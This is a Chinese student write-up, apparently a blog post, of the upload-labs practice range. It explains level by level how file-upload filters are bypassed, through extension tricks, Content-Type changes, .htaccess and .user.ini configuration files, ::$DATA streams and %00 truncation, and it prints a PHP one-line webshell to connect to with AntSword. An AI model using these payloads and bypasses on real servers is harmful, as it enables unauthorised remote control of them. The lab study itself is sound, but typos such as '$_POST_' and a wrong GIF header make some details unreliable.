up-load labsweb writeup

w

web张嘉玮 writeup

 

一.个人信息

个人名称:张嘉玮

 

二.解题情况

 

三.解题过程

题目:up load labs靶场

pass 1前后端

思路及解题:先验证合法性是前端还是后端

题目中的提交限制必须为jpg等类型,需要判断这个提交是前端还是后端验证的,所以直接先上传一个不符合格式的文件(php类型的一句话木马),再启用抓包 看是否有抓到什么请求,结果是没有,所以是前端验证。因此我直接将php文件类型重命名为jpg类型,提交文件前先抓包拦,再改变其中文件类型php为jpg,再forward,此时我已将木马发送到其内部,之后在下方图片中右键点击新标签页中打开图片,复制域名,打开蚁剑,右击添加数据,粘贴域名到url并且输入密码a,点击测试连接观察是否通过,若通过再添加,此时便可以控制对方了。

一句话木马

<?php
@eval($_POST_['a']);
?>
​

 


pass 2前后端

1.思路:仍然是先看合法性是前端还是后端

先上传一个jpg看到上传成功。所以不是前端,再上传一个php结果文件传输错误,但它让上传的就是php,所以我继续先上传jpg,burp拦截后找到其中的Content-Type:image/jpeg然后删掉再forward,发现文件传输错误,所以它是通过content-type验证合法性的,之后我再上传一个php,拦截,将content-type:application/octet-stream改为**image/jpeg之后forward则发送成功,蚁剑中添加数据后查看是否成功

 


pass 3文件名加数字

(此题验证方式为黑名单,大部分网站是白名单)

思路及做法:查看源代码后发现其限制了php文件 但存在漏洞,未限制php3,4等格式;

所以直接将文件后缀名改为.php3等类型

 


pass4配置文件

思路及做法:1.查看源码,发现其已限制大多数文件类型,但是有一个明显的漏洞,没有限制htacess文件,所以直接将文件后缀名改为.htacess就行了。

AddType application/x-httpd-php .jpg.txt意思就是将txt和.jpg文件当作php文件解析

2.所以接下来直接上传一个jpg文件类型的一句话木马就可以搞定了,再连接蚁剑测试是否成功.


补充文件后缀名字

.htaccess

叫分布式配置文件 作用于网站根目录及其子目录 修改后立刻生效 可覆盖httod-conf

httpd -conf

(先加载)

包含apache http 作用于整个服务器 优先级低,需管理员权限 ,且重启服务器才可以生效

.user.ini

作用于用户或特定目录的配置文件,,可覆盖或追加配置选项,在web应用程序根目录下,可覆盖php.ini,追加全职配置文件

php.ini

(先加载)

作用是存储了对整个php环境生效的配置选项,通常位于php安装目录之下,优先级较低,需管理员权限和重启web服务器


pass5配置文件

思路和做法:

仍然是有黑名单,限制了.htaccess,但是未限制.user.ini的,因为.user,.ini优先级程度高,可以覆盖掉php.ini,所以不限制的危害较大

Auto-prepend-file=index(2).txt   //此文件中有木马
    //自动包含所有文件 用index(2).txt包含

所以先上传一个.user.ini的文件 再上传对应的php改为jpg后的文件 ,通过蚁剑连接,就可以

 

法二: 思路: 由于题目中检查文件名后缀的源代码并未选择循环结构,因此后缀名.php 后直接加.空格.就可以在其检查后正好剩一个.php.正好运行(windows操作系统下会将最后一个点删除,使得文件仍然可以运行,所以蚁剑连接时直接输入.php就可以了。


pass6大写

思路:题目黑名单源代码中明显没有限制pHp,PHP等大写形式的后缀名,所以直接在bp中拦截之后更改Content后面的后缀名就可以了,之后蚁剑连接看有没有成功


pass7空格

思路:题目黑名单源代码未限制首位去空,借此绕过黑名单。并且我windows系统下就算给文件后缀名加了点系统也会自动删除,所以可以正常运行。


pass8 .

思路:题目黑名单源代码中少了del的自动删除.,(删除方式是从右边往左边删,遇到空格就会停止)因此直接bp更改Content下的文件后缀名就可以了,注意蚁剑搭建url时将最后的.删除,因为windows下会自动删除多余的点.


补充额外数据流

格式: ""::$DATA" 即表示一个附加数据流 它不是一个文件 所以不会验证文件后缀.

作用:和例如打开txt文件后直接就可以看见的文字信息,也叫默认数据流不同,其可以存储文件的元数据,标签,备份等,想要访问需要特殊命令

导入方式:

  1. echo 内容 >>文件名:数据流名

    访问 Notepad 文件名:数据流名

  2. type 文件名>>文件名.数据流名


pass9::$DATA

思路:题目黑名单中缺少了对::$DATA的限制,这不是一个文件,是一个额外数据包,因此黑名单不会检查它,通过这个bug直接绕过,之后新建标签页打开后将url里的::$DATA删除就可以访问了


pass10. .

思路:删除点与空格的源代码中没有添加循环 ,所以直接.空格 .解决


pass10双写后缀绕过

$file_name = str_ireplace($deny_ext,"", $file_name);

意思是deny---会将$file_name路径下的之前黑名单的文件全部变成' ',也就是删除他们 顺序是从左边往右边删(没有循环的条件下只循环一下


补充空字符

格式:0x00 顺序从左到右(在编程语言使用 || %00(在url中使用)


pass11%00截断(php<5.3.29)

思路:观察源代码发现其用白名单过滤

  $ext_arr = array('jpg','png','gif');
 $file_ext = substr($_FILES['upload_file']['name'],  strrpos($_FILES['upload_file']['name'],".")+1)

逗号前 是获取文件 也就是从哪里获取:逗号后 是在几位 ;(点在这个里面最后出现是出现在了第几位)(从左到右)

php上传先先把文件放在临时路径当中,再移动到指定位置

漏洞在于通过GET['save_path'].来拼接组成上传的文件路径 而这个get传参是我们可以控制的地方

操作:

 

改为

 

%00 是空字符(NULL字符)的URL编码,它在某些情况下可能被用于截断字符串或绕过安全措施

(后面的http1.1是个http协议)


pass13

思路:大致和12关一样

 

将空格改成右边框中hex(16进制)形式---->00


补充图片字符标识

  1. jpeg/jfif 头字节0xff 0xd8

  2. png(无损压缩形式) 0x89 0x50

  3. gif 0x47 0x47 0x49

  4. bmp(windows位图) 0x42 0x4d

  5. tuff(标签图片格式) 可是不同的

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值